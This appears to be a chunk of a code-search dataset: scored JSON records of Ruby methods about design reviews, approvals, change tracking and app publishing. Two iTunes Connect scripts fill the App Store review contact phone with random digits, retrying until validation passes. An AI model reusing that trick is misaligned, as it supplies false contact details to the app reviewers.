'/hwnet/' +\n self.design_center.pcb_path + '/' +\n self.directory_name\n old_design_center_name = self.set_design_center(update[:design_center], user)\n if old_design_center_name\n changes[:design_center] = { :old => old_design_center_name,\n :new => update[:design_center].name }\n # call the program to rename assembly folders in the NPI BOM data to reflect the\n # movement of the design.\n new_pcb_path = '/hwnet/' +\n self.design_center.pcb_path + '/' +\n self.directory_name\n PartNum.get_design_pcba_part_numbers(self).each { |pcba|\n cmd = \"/hwnet/dtg_devel/web/boarddev/cgi-bin/npi_boms/rename_assembly_folder.pl\" +\n \" \" + pcba.name_string +\n \" \" + old_pcb_path +\n \" \" + new_pcb_path\n system(cmd) unless Rails.env == \"test\"\n }\n end\n\n if update[:designer] && self.designer_id != update[:designer].id\n self.record_update('Designer', \n self.designer.name,\n update[:designer].name,\n user)\n self.designer_id = update[:designer].id\n end\n\n if update[:criticality] && self.priority_id != update[:criticality].id\n self.priority = update[:criticality] \n end\n\n if update[:eco_number] && self.eco_number != update[:eco_number]\n old_eco_number = self.eco_number\n self.eco_number = update[:eco_number]\n changes[:ecn_number] = { :old => old_eco_number, :new => update[:eco_number]}\n end\n\n if update[:pcba_eco_number] && self.pcba_eco_number != update[:pcba_eco_number]\n old_pcba_eco_number = self.pcba_eco_number\n self.pcba_eco_number = update[:pcba_eco_number]\n changes[:pcba_ecn_number] = { :old => old_pcba_eco_number, :new => update[:pcba_eco_number]}\n end\n \n audit = self.audit\n if update[:peer] && self.peer_id != update[:peer].id \n \n final_design_review = self.get_design_review('Final')\n valor_review_result = final_design_review.get_review_result('Valor')\n \n if valor_review_result.reviewer_id != update[:peer].id\n \n cc_list << valor_review_result.reviewer.email if valor_review_result.reviewer_id != 0\n changes[:valor] = { :old => valor_review_result.reviewer.name,\n :new => update[:peer].name }\n final_design_review.record_update('Valor Reviewer',\n valor_review_result.reviewer.name,\n update[:peer].name,\n user)\n \n valor_review_result.reviewer_id = update[:peer].id\n valor_review_result.save\n \n end\n \n if !audit.skip? && !audit.is_complete?\n changes[:peer] = { :old => self.peer.name, :new => update[:peer].name }\n self.record_update('Peer Auditor', \n self.peer.name, \n update[:peer].name,\n user)\n \n self.peer_id = update[:peer].id\n end\n \n end\n\n \n if changes.size > 0 || comment.size > 0 \n\n self.save\n self.reload\n\n DesignMailer::design_modification(\n user,\n self,\n modification_comment(comment, changes), \n cc_list).deliver\n\n self.pcb_number +\n ' has been updated - the updates were recorded and mail was sent'\n \n else\n \"Nothing was changed - no updates were recorded\"\n end\n\n end", "title": "" }, { "docid": "8f438111b9483fe95389f6138ecbc6ed", "score": "0.59472793", "text": "def update_code_review_file\n end", "title": "" }, { "docid": "a5f35ff8f51cc8b55357e3805c4e5826", "score": "0.5878756", "text": "def notify_of_change(opp, last_update)\n unless opp['applications'].length == 0\n send_webhook(opp, last_update[:time])\n add_note(opp, 'Updated reporting data after detecting ' + last_update[:source])\n end\n update_changed_tag(opp)\n end", "title": "" }, { "docid": "09e218e3930b63ec50cac6f74418fe10", "score": "0.58502483", "text": "def on_proposal_update(proposal)\n proposal.approvals.approved.each{|approval|\n CommunicartMailer.notification_for_approver(approval.user_email_address, approval, \"already_approved\").deliver\n }\n proposal.currently_awaiting_approvals.each{|approval|\n if approval.api_token # Approver's been notified through some other means\n CommunicartMailer.actions_for_approver(approval.user_email_address, approval, \"updated\").deliver\n else\n approval.create_api_token!\n CommunicartMailer.actions_for_approver(approval.user_email_address, approval).deliver\n end\n }\n end", "title": "" }, { "docid": "41cac79eb02df2ac05f46a3a95f17512", "score": "0.5779471", "text": "def call\n review_results = CommitReview.new(@commit).call\n @commit.changed_files.each do |file|\n file.to_h[:filename]\n added_lines = GithubParser::PatchParser.new(file.to_h[:patch]).added_lines\n review_results[file].select! { |change| added_lines.includes? change.line }\n end\n review_results\n end", "title": "" }, { "docid": "e703f600303e7da69379a9ce041a1b5d", "score": "0.5758323", "text": "def updateApp()\n currStatus = appStatus($currLogin[\"currApp\"])\n if currStatus == APPSTATUS::NOT_EXIST or currStatus == APPSTATUS::EDITABLE\n putsc \"#{$currLogin[\"currAppName\"]} has no live versions and cannot be updated.\", \"e\"\n return\n end\n\n type = $currLogin[\"currAppType\"]\n config = $config[\"new#{type}\"]\n\n # we need to create a new version\n if currStatus == APPSTATUS::LIVE\n puts \"Creating new version...\"\n currVer = $currLogin[\"currApp\"].live_version.version\n major,minor = currVer.split(\".\")\n minor = minor.to_i + 1\n newVer = \"#{major}.#{minor}\"\n puts \"Current version is #{currVer}, opening a new version #{newVer}...\"\n $currLogin[\"currApp\"].create_version!(newVer)\n else\n puts \"Already has an editable version...\"\n end\n\n # prepare bullets\n puts \"Preparing bullets...\"\n data = $config[\"update#{type}\"]\n bullets = data[\"mustBullets\"]\n bulletDict = data[\"optionalBullets\"]\n bulletsLeft = data[\"numberOfBullets\"].to_i - bullets.length\n\n while bulletsLeft>0 and bulletDict.length>0 do\n bullets.unshift(bulletDict.delete_at(rand(bulletDict.length)))\n bulletsLeft-=1\n end\n\n bullets = data[\"bulletPrefix\"] + bullets.join(\"\\n#{data[\"bulletPrefix\"]}\")\n puts \"'What's new' is going to be filled with the following bullets:\\n#{bullets}\"\n\n # fill in bullets in all what's new languages\n puts \"Filling what's new in all languages...\"\n v = $currLogin[\"currApp\"].edit_version\n v.release_notes.keys.each do |lang|\n v.release_notes[lang] = bullets\n end\n\n # save\n while true\n begin\n puts \"Saving app info on ITC...\"\n v.save!\n break\n rescue Spaceship::TunesClient::ITunesConnectError => e\n puts \"Caught error: #{e}\\nChanging phone number...\"\n v.review_phone_number = config[\"reviewPhonePrefix\"] + rand().to_s().split(\".\",2)[1][1..config[\"reviewPhoneDigits\"].to_i]\n puts \"Trying to use phone number #{v.review_phone_number}...\"\n end\n break\n end\n\n puts \"Done.\"\nend", "title": "" }, { "docid": "6c9bb58f84f92188ab90d1c54e105440", "score": "0.57529044", "text": "def run\n report_options(\"diff\", \"branch\", \"pull_request\")\n\n if !valid?\n err.puts failure\n return 1\n end\n\n explain_diff = Shiba::Review::ExplainDiff.new(options[\"file\"], options)\n\n problems = if explain_diff.diff_requested_by_user?\n result = explain_diff.result\n\n if result.message\n @err.puts result.message\n end\n\n if result.status == :pass\n return 0\n end\n\n explain_diff.problems\n else\n # Find all problem explains\n begin\n explains = explain_file.each_line.map { |json| JSON.parse(json) }\n bad = explains.select { |explain| explain[\"severity\"] && explain[\"severity\"] != 'none' }\n bad = bad.sort_by { |explain| explain[\"cost\"] }\n bad.map { |explain| [ \"#{explain[\"sql\"]}:-2\", explain ] }\n rescue Interrupt\n @err.puts \"SIGINT: Canceled reading from STDIN. To read from an explain log, provide the --file option.\"\n exit 1\n end\n end\n\n if problems.empty?\n return 0\n end\n\n # Dedup\n problems.uniq! { |_,p| p[\"md5\"] }\n\n # Output problem explains, this can be provided as a file to shiba review for comments.\n if options[\"raw\"]\n pr = options[\"pull_request\"]\n if pr\n problems.each { |_,problem| problem[\"pull_request\"] = pr }\n end\n\n\n problems.each { |_,problem| @out.puts JSON.dump(problem) }\n return 2\n end\n\n # Generate comments for the problem queries\n repo_cmd = \"git config --get remote.origin.url\"\n repo_url = `#{repo_cmd}`.chomp\n\n if options[\"verbose\"]\n @err.puts \"#{repo_cmd}\\t#{repo_url}\"\n end\n\n if repo_url.empty?\n @err.puts \"'#{Dir.pwd}' does not appear to be a git repo\"\n return 1\n end\n\n reviewer = Shiba::Reviewer.new(repo_url, problems, options)\n\n if !options[\"submit\"] || options[\"verbose\"]\n reviewer.comments.each do |c|\n @out.puts \"#{c[:path]}:#{c[:line]} (#{c[:position]})\"\n @out.puts c[:body]\n @out.puts \"\"\n end\n end\n\n if options[\"submit\"]\n if reviewer.repo_host.empty? || reviewer.repo_path.empty?\n @err.puts \"Invalid repo url '#{repo_url}' from git config --get remote.origin.url\"\n return 1\n end\n\n reviewer.submit\n end\n\n return 2\n end", "title": "" }, { "docid": "f5819aa0c250b42c47f683c4181f2b13", "score": "0.5747501", "text": "def approval_process\n if approval_check\n update(status: \"Approved\")\n pets.each { |p| p.update!(adoptable: false) }\n elsif review_complete && rejects_exist\n update(status: \"Rejected\")\n end\n end", "title": "" }, { "docid": "2530056bcb06c9c4089762ba66938c66", "score": "0.5740564", "text": "def add_approvals\n end", "title": "" }, { "docid": "b0718f26ad412edf58511588648ba9eb", "score": "0.57156754", "text": "def edit_reviews\r\n @app = Application.find(params[:id])\r\n @ay = @app.apply_yourself\r\n @app_name = @ay.first_name + ' ' + @ay.last_name\r\n @reviews = @app.reviews \r\n end", "title": "" }, { "docid": "8125057e876d1588c05098e6ba957200", "score": "0.5715052", "text": "def document_changes; end", "title": "" }, { "docid": "8125057e876d1588c05098e6ba957200", "score": "0.5715052", "text": "def document_changes; end", "title": "" }, { "docid": "563c62b62fd579737ee9c1a7b4dc1e83", "score": "0.5696018", "text": "def changes; end", "title": "" }, { "docid": "60557b747d1ce880101a525b7501d177", "score": "0.56850475", "text": "def changes_to_deploy\n if not_a_sqitch_db_yet?\n # TODO: list all the changesets available up to a specified\n # tag. Currently, this probably requires parsing the plan\n # file directly, since sqitch errors out if it's not yet\n # managing the database. As such, this is going to require\n # reworking this class, since it requires more information\n # than is contained in the output of `sqitch status`\n #\n # So, this is an admittedly hacky workaround, but it probably\n # expresses the intent well enough.\n ['all the changesets!']\n elsif nothing_to_deploy?\n [] # <-- Yup, nothing!\n else\n # OK, so this is pretty hairy...\n #\n # Representative output looks like this:\n #\n # # On database bifrost_test\n # # Project: bifrost\n # # Change: 842b0858d77d016dd08bcc4452af3c2152e4c1ca\n # # Name: debug_object_acl_view\n # # Tag: @1.1.6\n # # Deployed: 2013-06-26 09:50:30 -0400\n # # By: Christopher Maier <cm@opscode.com>\n #\n # Undeployed changes:\n # * actor_has_bulk_permission_on @1.2.0 @1.2.1 @1.2.2\n # * update_acl\n #\n # NOTE: This output is from running just `sqitch status` with\n # NO ADDITIONAL options for the status command (global options\n # are OK). If we change the specific `status` invocation,\n # this parsing logic may have to be changed to account for\n # extra / different information.\n\n # split all the lines\n lines = @stdout.split(\"\\n\")\n\n # Get rid of everything until the undeployed changes\n undeployed = lines.drop_while { |line| line !~ /Undeployed changes/ }\n\n # At this point, we have something like this:\n #\n # [\"Undeployed changes:\",\n # \" * actor_has_bulk_permission_on @1.2.0 @1.2.1 @1.2.2\",\n # \" * update_acl\"]\n\n # Drop the \"Undeployed changes\" line, and remove the leading\n # whitespace\n change_lines = undeployed.drop(1).map(&:strip)\n\n # Now we have something like this:\n #\n # [\"* actor_has_bulk_permission_on @1.2.0 @1.2.1 @1.2.2\",\n # \"* update_acl\"]\n\n # Now we can isolate just the changeset names\n change_lines.map do |line|\n # There are several rules[1] about what constitutes a legal\n # changeset name. We can assume they've all been followed\n # though, since we're just parsing sqitch's output. Thus,\n # for our purposes, we'll just say a changeset name is \"the\n # first bunch of non-space characters\"\n #\n # [1]: https://metacpan.org/module/sqitchchanges\n line =~ /^\\* ([^ ]+).*$/\n Regexp.last_match(1)\n end\n end\n end", "title": "" }, { "docid": "02950797ce235ba3361c808616dcdfcc", "score": "0.5672456", "text": "def test04_R5_edit_event_review_TC_24425\n\t\t$browser.goto($patch_login)\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_directory_listing)\n\t\t\n\t\tif_not_following_follow\n\t\tsleep 2\n\t\tpostBasicReview\n\t\tsleep 2\n\t\t$directory_review_begin.click\n\t\tsleep 2\n\t\t$directory_review_article_button.click\n\t\tcreateEvent_business\n\t\tsleep 2\n\t\t$directory_edit_review.click\n\t\tsleep 2\n\t\t$browser.execute_script(\"jQuery('iframe.wysihtml5-sandbox').contents().find('body').prepend('lava is editing. ')\")\n\t\t$post_now_review.fire_event(\"onclick\")\n\t\t\n\t\tassert $browser.text.include? \"just now\"\n\tend", "title": "" }, { "docid": "86d772623d78249a5b69a6260adc18ec", "score": "0.5662336", "text": "def rapprochement\n\n end", "title": "" }, { "docid": "a50cab5351863d3cda1f4f41d5672671", "score": "0.56592935", "text": "def review\n end", "title": "" }, { "docid": "f815ed23dccd9e2d3f016d433442e2c5", "score": "0.56567854", "text": "def edits; end", "title": "" }, { "docid": "f815ed23dccd9e2d3f016d433442e2c5", "score": "0.56567854", "text": "def edits; end", "title": "" }, { "docid": "db4713f09625ee170613b145ee0c76f6", "score": "0.5630514", "text": "def collect_hiker_inputs_update_review\n trail_name_to_edit = specify_trail_name_to_edit\n rating_to_edit = edit_existing_rating\n comment_to_edit = edit_existing_comment\n \n hiker.edit_review_by_trail_name(trail_name_to_edit, rating_to_edit,comment_to_edit)\n hiker.reload\n puts \"\\nThank you! Your review is now live for our users to see.\"\n review_update_input = $prompt.select(\"Press enter to continue\",[\"Enter\"])\n system \"clear\"\n user_path\n end", "title": "" }, { "docid": "2d93e976754e1fd3689012c2b74e399e", "score": "0.56178474", "text": "def run_on_change(paths)\n paths.each do |file|\n unless File.basename(file)[0] == \"_\"\n UI.info \"Running commit for #{file}...\"\n commit_result = `krl commit`\n UI.info commit_result\n icon = commit_result.match(/Committed version: \\d+/) ? :success : :failed\n Notifier.notify commit_result, :title => \"KRL Watcher\", :image => icon\n end\n end\n end", "title": "" }, { "docid": "09db0f279f50795a72b754e2c1445d85", "score": "0.5610635", "text": "def changes_extra_information id\n parse_response(send_my_own_request(\"/api/review-requests/#{id}/changes/\").body)\n end", "title": "" }, { "docid": "bd78c784bb7799c9e7d3803b03b26621", "score": "0.5604216", "text": "def changes_applied; end", "title": "" }, { "docid": "bd78c784bb7799c9e7d3803b03b26621", "score": "0.5604216", "text": "def changes_applied; end", "title": "" }, { "docid": "1c0222dd8b0cdca048e57b03de43439d", "score": "0.55966616", "text": "def edits\n api = WikiApi.new @wiki\n query_params = {\n list: 'recentchanges',\n rcprop: 'title|ids|flags|user|tags|loginfo|timestamp',\n rclimit: '100',\n rctag: 'de-userfying',\n rcshow: '!bot'\n }\n res = api.query(query_params)\n res.data['recentchanges']\n .map do |change|\n change.slice('user', 'revid', 'pageid', 'logparams', 'logid', 'timestamp', 'title')\n end\n end", "title": "" }, { "docid": "5152fd97713686dc0bdca20d77fd4b5f", "score": "0.5588226", "text": "def est05_LI2_repost_review\n\t\t$browser.goto($patch_login)\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_directory_listing)\n\t\t\n\tend", "title": "" }, { "docid": "2947ac97b5daeb6711e8b0393e671fce", "score": "0.55778825", "text": "def track_external_change(app_id, action, document)\n return unless Conf.redis\n Conf.redis.rpush(\"#{KEYS[:changes]}-#{app_id}\", MultiJson.encode([action, document]))\n end", "title": "" }, { "docid": "d05bc2179798d4cb3f567aabbffae61a", "score": "0.5575145", "text": "def post_fab_house_approvals(design_review, fab_house_list)\n dfh2 = DesignFabHouse.find_by_design_id_and_fab_house_id(design_review.design_id, 987)\n comment_update = false\n\n # Check to see if the reviewer is an SLM-Vendor reviewer.\n # review_results[:fab_houses] will be non-nil.\n added = ''\n removed = ''\n \n # get current fab houses in join design table\n #design_fab_houses2 = design_review.design.fab_houses\n\n # get list of current fab houses for this design\n design_fab_houses = []\n DesignFabHouse.where(design_id: design_review.design_id).each { |dfh| design_fab_houses << dfh.fab_house_id } \n\n #design_fab_hosues2 = DesignFabHouse.where(design_id: design_review.design_id)\n\n # check if there are any fab houses in the list. if there are then process them to update comment and join tables\n if fab_house_list != nil\n \n # if list of fab houses passed in includes items already approved then add them to added comment\n fab_house_list.each do |fbl|\n dfh = DesignFabHouse.find_by_design_id_and_fab_house_id(design_review.design_id, fbl)\n \n if !dfh.approved\n if added == ''\n added = dfh.fab_house.name\n else\n added += ', ' + dfh.fab_house.name\n end\n #dfh = DesignFabHouse.find_by_design_id_and_fab_house_id(design_review.design_id, fab_house.id)\n #dfh.update(design_id: design_review.design_id, fab_house_id: fbl, approved: true)\n dfh.update_attributes(approved: true)\n\n end\n end\n\n # if join table includes items which are not in the fab house list passed in then add them to removed comment \n design_fab_houses.each do |fb2|\n dfh = DesignFabHouse.find_by_design_id_and_fab_house_id(design_review.design_id, fb2)\n\n if !(fab_house_list.include? fb2.to_s) && (dfh.approved)\n if removed == ''\n removed = dfh.fab_house.name\n else\n removed += ', ' + dfh.fab_house.name\n end\n # update the design fab houses table\n #dfh = DesignFabHouse.find_by_design_id_and_fab_house_id(design_review.design_id, fb2.id)\n #dfh.update(design_id: design_review.design_id, fab_house_id: fb2.id, approved: false)\n dfh.update_attributes(approved: false)\n end\n end\n\n # Otherwise the user has submitted a form with no vendors selected\n else\n # Just add all items in the table to the removed list\n design_fab_houses.each do |fab_house|\n dfh = DesignFabHouse.find_by_design_id_and_fab_house_id(design_review.design_id, fab_house)\n if dfh.approved \n if removed == ''\n removed = dfh.fab_house.name\n else\n removed += ', ' + dfh.fab_house.name\n end\n # update the design fab houses table\n #dfh = DesignFabHouse.find_by_design_id_and_fab_house_id(design_review.design_id, fab_house.id)\n #dfh.update(design_id: design_review.design_id, fab_house_id: fab_house.id, approved: false)\n dfh.update_attributes(approved: false)\n end\n end\n\n end \n\n # parse together the comment to be posted\n if added != '' || removed != ''\n fab_msg = 'Updated approved the Fab Houses '\n\n fab_msg += \" - Added: #{added}\" if added != ''\n fab_msg += \" - Removed: #{removed}\" if removed != ''\n\n dr_comment = DesignReviewComment.new(:comment => fab_msg,\n :user_id => @logged_in_user.id,\n :design_review_id => design_review.id).save\n comment_update = true\n end\n\n comment_update\n\nend", "title": "" }, { "docid": "a467f641192892d011005d0988af82df", "score": "0.557455", "text": "def create_or_update\n @app = @call.app_class.find(params[:app_id])\n if not @call.reviewable\n render :call_noreview and return\n end\n \n @review = @call.review_class.find_or_initialize_by_app_reviewer_id_and_app_id(@current_user, @app.id)\n @review.attributes = params[:review]\n \n if @review.save\n redirect_to review_path\n else\n render :edit\n end\n end", "title": "" }, { "docid": "3e91151a5eb78ebac87f2e2fcc851ada", "score": "0.5565973", "text": "def run_all_specs_for_changes\n #TODO implement this!\n end", "title": "" }, { "docid": "cb4d189d27d7dff6f24cd14dac770f53", "score": "0.5551857", "text": "def review!\n workflowMetadata.review_process.status = \"completed\"\n self.read_groups += [\"public\"] unless self.read_groups.include?(\"public\")\n save!\n end", "title": "" }, { "docid": "9f62eefa10e867355f25aa3e39b27691", "score": "0.55382377", "text": "def update\n\t\t#find the current application \n\t\t@app = Application.find(params[:application_id])\n\n\t\tappreq = ApplicationsRequester.where(application_id: @app.id).first\n\t\treq = User.find(appreq.requester_id)\n\t\tstaff = User.where(type: Staff).first\n\n\t\t#if the supervisor chooses to approve the application\n\t\tif params[:commit] == 'Approve Application'\n\t\t\t#change the applications status\n\t \t\tif @app.update_attribute(:status, \"pending faculty evaluation\")\n\t \t\t\t#put notice on screen\n\t \t\t\tflash[:success] = \"Application approved !! Requester and FGPS Staff notified\"\n\n\t \t\t\t#send email to requester and FGPS Staff\n\t\t#\t\tNotificationMailer.application_faculty_pending_email(req, @app).deliver\n\t\t#\t\tNotificationMailer.application_pending_email(staff, @app).deliver\n\n\t \t\t\tredirect_to \"/home\"\n\t \t\telse\n\t \t\t\trender(\"edit\")\n\t \t\tend\n\t \t#if the supervisor chooses to refuse the application\n\t \telsif params[:commit] == 'Refuse Application'\n\t \t\t#change the application status\n\t\t\tif @app.update_attribute(:status, \"refused\")\n\t\t\t\t#put notice on screen\n\t\t\t\tflash[:success] = \"Application refused. Requester has been notified\"\n\n\t\t\t\t#send email to requester\n\t\t#\t\tNotificationMailer.application_refused_email(req, @app).deliver\n\n\t\t\t\tredirect_to \"/home\"\n\t\t\telse\n\t\t\t\trender(\"edit\")\n\t\t\tend\n\t\t#if the supervisor chooses to request changes\n\t\telsif params[:commit] == 'Request Changes'\n\t\t\tchange_param = params[:reqChange]\n\t\t\t\t#change the application status and include the reason of change\n\t\t\t\tif (@app.update_attribute(:status, \"incomplete\") && @app.update_attribute(:reqChange, change_param))\n\t\t\t\t\t#put notice on screen\n\t\t\t\t\tlash[:success] = \"Application requires modification. Requester has been notified\"\n\t\t\t\t\t#send email to requester\n\t\t#\t\t\tNotificationMailer.application_change_email(req, @app).deliver\n\n\t\t\t\t\tredirect_to \"/home\"\n\t\t\t\telse\n\t\t\t\t\trender(\"edit\")\n\t\t\t\tend\n\t \tend\n\tend", "title": "" }, { "docid": "6468cf5ebae83207bead99a2813df059", "score": "0.5507165", "text": "def changes\n @changes = Purl.published\n .where(deleted_at: nil)\n .where(updated_at: @first_modified..@last_modified)\n .target('target' => params[:target])\n .includes(:collections, :release_tags)\n .page(page_params[:page])\n .per(per_page_params[:per_page])\n end", "title": "" }, { "docid": "3eec0b78468ec2e2681c11c30aede672", "score": "0.55031884", "text": "def changes_require_approval?\n true # By default, all changes require approval\n end", "title": "" }, { "docid": "894b5156a6174003c2379b63c53cf77e", "score": "0.5500069", "text": "def approve_change change\n taxon_id = change.user_changed_taxon_id\n taxon_state = TaxonState.find_by(taxon: taxon_id)\n return if taxon_state.review_state == \"approved\"\n\n if change.taxon\n change.taxon.approve!\n change.update_attributes! approver_id: current_user.id, approved_at: Time.now\n else\n # This case is for approving a delete\n taxon_state.review_state = \"approved\"\n taxon_state.save!\n end\n\n Feed::Activity.with_tracking do\n change.create_activity :approve_change\n end\n end", "title": "" }, { "docid": "42074e99175c085f9a1b88aa05ea6acc", "score": "0.54967916", "text": "def diff\n log.info(x) { \"prophesy list of either refresh or commit actions.\" }\n SafeDb::Diff.new().flow()\n end", "title": "" }, { "docid": "4a51fd64b490f199cc311eb6857905f6", "score": "0.54926217", "text": "def updateNewAppVersion()\n app = $currLogin[\"currApp\"]\n type = $currLogin[\"currAppType\"]\n config = $config[\"new#{type}\"]\n\n puts \"Updating version info for type #{type} (support URL, copyright, rating, review details)...\"\n puts \"Don't forget to mark made for kids on ITC!!\" if type == TYPES::DENTIST\n v = app.edit_version\n\n # Set support URL\n v.support_url.keys.each {|k| v.support_url[k] = config[\"supportURL\"]}\n\n # Set copyright\n v.copyright = config[\"copyright\"]\n\n # Set marketing URL\n v.marketing_url.keys.each {|k| v.marketing_url[k] = config[\"marketingURL\"]}\n\n # Set rating\n v.update_rating( Hash[$config[\"itunesCriterias\"][\"ratings\"].zip config[\"rating\"].map! {|k| k.to_i}] )\n\n # Set review details\n v.review_email = $currLogin[\"currAccount\"]\n v.review_first_name = config[\"reviewFirstName\"][rand(config[\"reviewFirstName\"].length)]\n v.review_last_name = config[\"reviewLastName\"][rand(config[\"reviewLastName\"].length)]\n loop do\n phoneSucceed = false\n begin\n v.review_phone_number = config[\"reviewPhonePrefix\"] + rand().to_s().split(\".\",2)[1][1..config[\"reviewPhoneDigits\"].to_i]\n puts \"Trying to use phone number #{v.review_phone_number}...\"\n v.save!\n phoneSucceed = true\n puts \"Phone number ok - Saved!\"\n rescue => e\n putsc \"Caught exception: #{e}\\n\\nRetrying...\", \"e\"\n end\n break if phoneSucceed\n end\n end", "title": "" }, { "docid": "f8e54cc7941a45684ae0708e0f142e69", "score": "0.5492616", "text": "def approve\n review_state = \"reviewed\"\n save!\n Feed::Activity.with_tracking do\n create_activity :finish_reviewing\n end\n end", "title": "" }, { "docid": "540e98c8825a532e9c676d37decd7e1c", "score": "0.54757345", "text": "def changes(params = {}, payload = {}, &block)\n view(\"_changes\", params, payload, &block)\n end", "title": "" }, { "docid": "5667e3c176d18d6a5d37913fd2eccb8f", "score": "0.54737914", "text": "def update\n @app = App.find(params[:id])\n bare = @app.name == nil and params[:name]\n require_owner(@app, current_user)\n\n respond_to do |format|\n if @app.update_attributes(params[:app])\n @app.owner.add_story(\"created a new app, #{app_link(@app)}\")\n format.html { redirect_to app_path(@app) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9aeab3a7558e8550b0db06773cd49f71", "score": "0.54397845", "text": "def update_app_visits\n $current_app_visits = $gApp.get_app_visits($gApp.current_start_day, $gApp.today)\n $previous_app_visits = $gApp.get_app_visits($gApp.previous_start_day, $gApp.current_start_day)\nend", "title": "" }, { "docid": "5c75c854bb409b636d11e6a6c06538f4", "score": "0.5435415", "text": "def test_ID_25863_comment_on_review()\n login_as_user1\n read_all_updates\n share_review\n logout_common\n login_as_user2\n leave_comment_on_share_review_group\n logout_common\n login_as_user1\n verify_updates\n end", "title": "" }, { "docid": "b4b64c2362bde34a697e859278f93d6e", "score": "0.5432299", "text": "def review\n puts \"To be added: #{@adds.inspect}\"\n puts \"To be removed: #{@removals.keys.inspect}\"\n end", "title": "" }, { "docid": "df4dec0de914632cb430d26fb6f58944", "score": "0.54142225", "text": "def rereview\n @map=ResponseMap.find(params[:id])\n get_content\n array_not_empty=0\n @review_scores=Array.new\n @prev=Response.all\n #get all versions and find the latest version\n for element in @prev\n if (element.map.id==@map.map.id)\n array_not_empty=1\n @review_scores << element\n end\n end\n\n latestResponseVersion\n #sort all the available versions in descending order.\n if @prev.present?\n @sorted=@review_scores.sort { |m1, m2| (m1.version_num and m2.version_num) ? m2.version_num <=> m1.version_num : (m1.version_num ? -1 : 1) }\n @largest_version_num=@sorted[0]\n @latest_phase=@largest_version_num.created_at\n due_dates = DueDate.where([\"assignment_id = ?\", @assignment.id])\n @sorted_deadlines=Array.new\n @sorted_deadlines=due_dates.sort { |m1, m2| (m1.due_at and m2.due_at) ? m1.due_at <=> m2.due_at : (m1.due_at ? -1 : 1) }\n current_time=Time.new.getutc\n #get the highest version numbered review\n next_due_date=@sorted_deadlines[0]\n #check in which phase the latest review was done.\n for deadline_version in @sorted_deadlines\n if (@largest_version_num.created_at < deadline_version.due_at)\n break\n end\n end\n for deadline_time in @sorted_deadlines\n if (current_time < deadline_time.due_at)\n break\n end\n end\n end\n #check if the latest review is done in the current phase.\n #if latest review is in current phase then edit the latest one.\n #else create a new version and update it.\n # editing the latest review\n if (deadline_version.due_at== deadline_time.due_at)\n #send it to edit here\n @header = \"Edit\"\n @next_action = \"update\"\n @return = params[:return]\n @response = Response.where(map_id: params[:id], version_num: @largest_version_num.version_num).first\n return if redirect_when_disallowed(@response)\n @modified_object = @response.response_id\n @map = @response.map\n get_content\n @review_scores = Array.new\n @questions.each {\n |question|\n @review_scores << Answer.where(response_id: @response.response_id, question_id: question.id).first\n }\n #**********************\n # Check whether this is Jen's assgt. & if so, use her rubric\n if (@assignment.instructor_id == User.find_by_name(\"jace_smith\").id) && @title == \"Review\"\n if @assignment.id < 469\n @next_action = \"update\"\n render :action => 'custom_response'\n else\n @next_action = \"update\"\n render :action => 'custom_response_2011'\n end\n else\n # end of special code (except for the end below, to match the if above)\n #**********************\n render :action => 'response'\n end\n else\n #else create a new version and update it.\n @header = \"New\"\n @next_action = \"create\"\n @feedback = params[:feedback]\n @map = ResponseMap.find(params[:id])\n @return = params[:return]\n @modified_object = @map.map_id\n get_content\n #**********************\n # Check whether this is Jen's assgt. & if so, use her rubric\n if (@assignment.instructor_id == User.find_by_name(\"jace_smith\").id) && @title == \"Review\"\n if @assignment.id < 469\n @next_action = \"create\"\n render :action => 'custom_response'\n else\n @next_action = \"create\"\n render :action => 'custom_response_2011'\n end\n else\n # end of special code (except for the end below, to match the if above)\n #**********************\n render :action => 'response'\n end\n end\n end", "title": "" }, { "docid": "b043b2609f10816d93a52ef4bd70bc88", "score": "0.5408098", "text": "def push\n unless params[:changes] # ignore request if no changes were selected\n redirect_to url_for(:controller => \"changes\", :action => \"index\")\n return\n end\n if checkRole() >= 1\n params[:changes].each do |change_id|\n row = Change.find(change_id).row_entry\n unless micro_put_change(row.microservice_id, change_id) == nil\n # move the change request to the executed table\n execute_change(change_id)\n end\n end\n redirect_to url_for(:controller => \"changes\", :action => \"index\")\n else\n render403()\n end\n end", "title": "" }, { "docid": "8df9d2ee2c940f47a5e9bb8377d1b86e", "score": "0.5404544", "text": "def main\n authorized_keys = build_authorized_keys\n\n encoded_authorized_keys, content_sha = compare_with_existing_keys(authorized_keys)\n\n if encoded_authorized_keys.nil?\n puts \"No new publicKeys to raise PR\"\n else\n create_new_branch_commit(content_sha, encoded_authorized_keys)\n data = create_pull_request\n json = JSON.parse(data)\n puts \"publicKeys of Webops team members to access bastion node has changed. Check the PR: #{json[:url]}\"\n exit 1\n end\nend", "title": "" }, { "docid": "5bd8354093b1e00e743d7282cdc251b0", "score": "0.54017496", "text": "def pull_changes\r\n raise \"Not implemented\"\r\n end", "title": "" }, { "docid": "265a580e0435ae1c070fbdd01126ab20", "score": "0.5391431", "text": "def on_proposal_update(proposal)\n proposal.individual_approvals.approved.each{|approval|\n CommunicartMailer.notification_for_subscriber(approval.user_email_address, proposal, \"already_approved\", approval).deliver_later\n }\n\n proposal.currently_awaiting_approvals.each{|approval|\n if approval.api_token # Approver's been notified through some other means\n CommunicartMailer.actions_for_approver(approval, \"updated\").deliver_later\n else\n CommunicartMailer.actions_for_approver(approval).deliver_later\n end\n }\n\n proposal.observers.each{|observer|\n if observer.role_on(proposal).active_observer?\n CommunicartMailer.notification_for_subscriber(observer.email_address, proposal, \"updated\").deliver_later\n end\n }\n end", "title": "" }, { "docid": "738909b875e9211596836d7c32859975", "score": "0.53728956", "text": "def after_approve(approval); end", "title": "" }, { "docid": "0931e955afdc229a83412d0c0046b124", "score": "0.53708965", "text": "def on_reviewing_entry(state, event, *event_args)\n super\n\n if !simulating || !submission.auto_review\n __debug_sim('[auto_review: false]') if simulating\n __debug_sim('Waiting for reviewer evaluation.')\n __debug_sim('REVIEWER must `approve!` or `reject!` to advance...')\n\n elsif submission.auto_approve # TODO: remove\n __debug_sim('[auto_review: true]')\n __debug_sim('[auto_approve: true]')\n __debug_sim('SYSTEM review approves the submission.')\n\n approve! # NOTE: => :approved\n\n elsif submission.auto_reject # TODO: remove\n 